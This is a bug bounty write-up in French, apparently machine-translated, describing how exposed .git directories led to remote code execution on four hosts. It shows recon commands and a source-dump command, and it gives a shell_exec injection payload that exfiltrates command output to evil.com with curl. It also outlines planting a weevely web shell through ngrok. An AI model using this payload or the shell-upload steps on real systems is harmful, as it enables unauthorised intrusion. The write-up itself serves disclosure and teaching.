Prime de 10 000 $ pour .git exposé à RCE

Feb 28 2023
Récemment, j'ai participé à l'un des programmes privés de bounty où j'ai réussi à trouver RCE via le répertoire ouvert .git sur quatre hôtes pour lesquels j'ai reçu un record de 10 000 $ et ce serait un crime de ne pas le partager.

Récemment, j'ai participé à l'un des programmes privés de bounty où j'ai réussi à trouver RCE via le répertoire ouvert .git sur quatre hôtes pour lesquels j'ai reçu un record de 10 000 $ et ce serait un crime de ne pas le partager.
En fait, la vulnérabilité était aussi très simple et cela n'a pris qu'une demi-journée, mais à peu près tout dans l'ordre...

L'étape principale de la collecte des bogues à portée de main est la reconnaissance, pour laquelle j'utilise une chaîne d'outils dans mon script bash :

amass enum -active -d $1 -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txt
cat amass.txt | aquatone -ports xlarge -out aqua_$1
nuclei -l aqua_$1/aquatone_urls.txt -t ~/nuclei-templates -es info -o nuclei_$1.txt

Heureusement, la sortie des noyaux m'a montré les répertoires .git/ exposés sur plusieurs hôtes à travers lesquels il était possible de télécharger les sources

Pour ce faire, utilisez l' outil git-dumper :

git-dumper http://example.com/.git/ output

Pour élaborer la requête, j'ai également dû prendre en compte une simple validation qui nécessitait des clés secrètes codées en dur

Et le résultat final de la requête :

http://example.com/ftp-upload/sync.php?deluser=someuser&secret1= [secret1] &secret2= [sha1 encodé secret2]

où le point d'entrée sera le paramètre deluser

L'étape suivante consistait à valider la vulnérabilité elle-même, pour laquelle j'ai fait une requête test curl à mon serveur via une injection dans shell_exec() , qui a fonctionné avec succès

Il était également possible de lire la sortie des commandes en l'envoyant soit à l'URI, soit via le corps POST sous une forme encodée en base64 comme ceci :

Charge utile pour la commande id :
someusr ; curl https://evil.com/ $(id|base64|tr -d "\n") ;

Il ne restait donc plus qu'à uploader le shell, le seul obstacle était le manque de droits en écriture sur le répertoire courant, donc le shell a été uploadé sur uploads/
(pour générer le shell, j'ai utilisé l' outil weevely )

Si décrire ce processus en étapes:

  1. Enregistrez le shell localement dans txt pour pouvoir le transférer via curl et élevez le serveur sur son propre hôte
  2. Soulevez le tunnel avec ngrok
  3. Envoyez une charge utile qui sauvera notre shell dans uploads/shell.php

Après plusieurs jours d'aide pour résoudre le problème, l'entreprise m'a récompensé avec une prime (une capture d'écran de motivation est jointe ;))

A la fin, je tiens à dire que dans 9 cas sur 10 je n'ai rien reçu, il y a eu différentes entreprises qui m'ont trompé et tout est question de patience et de constance
Rejoins moi sur Linkedin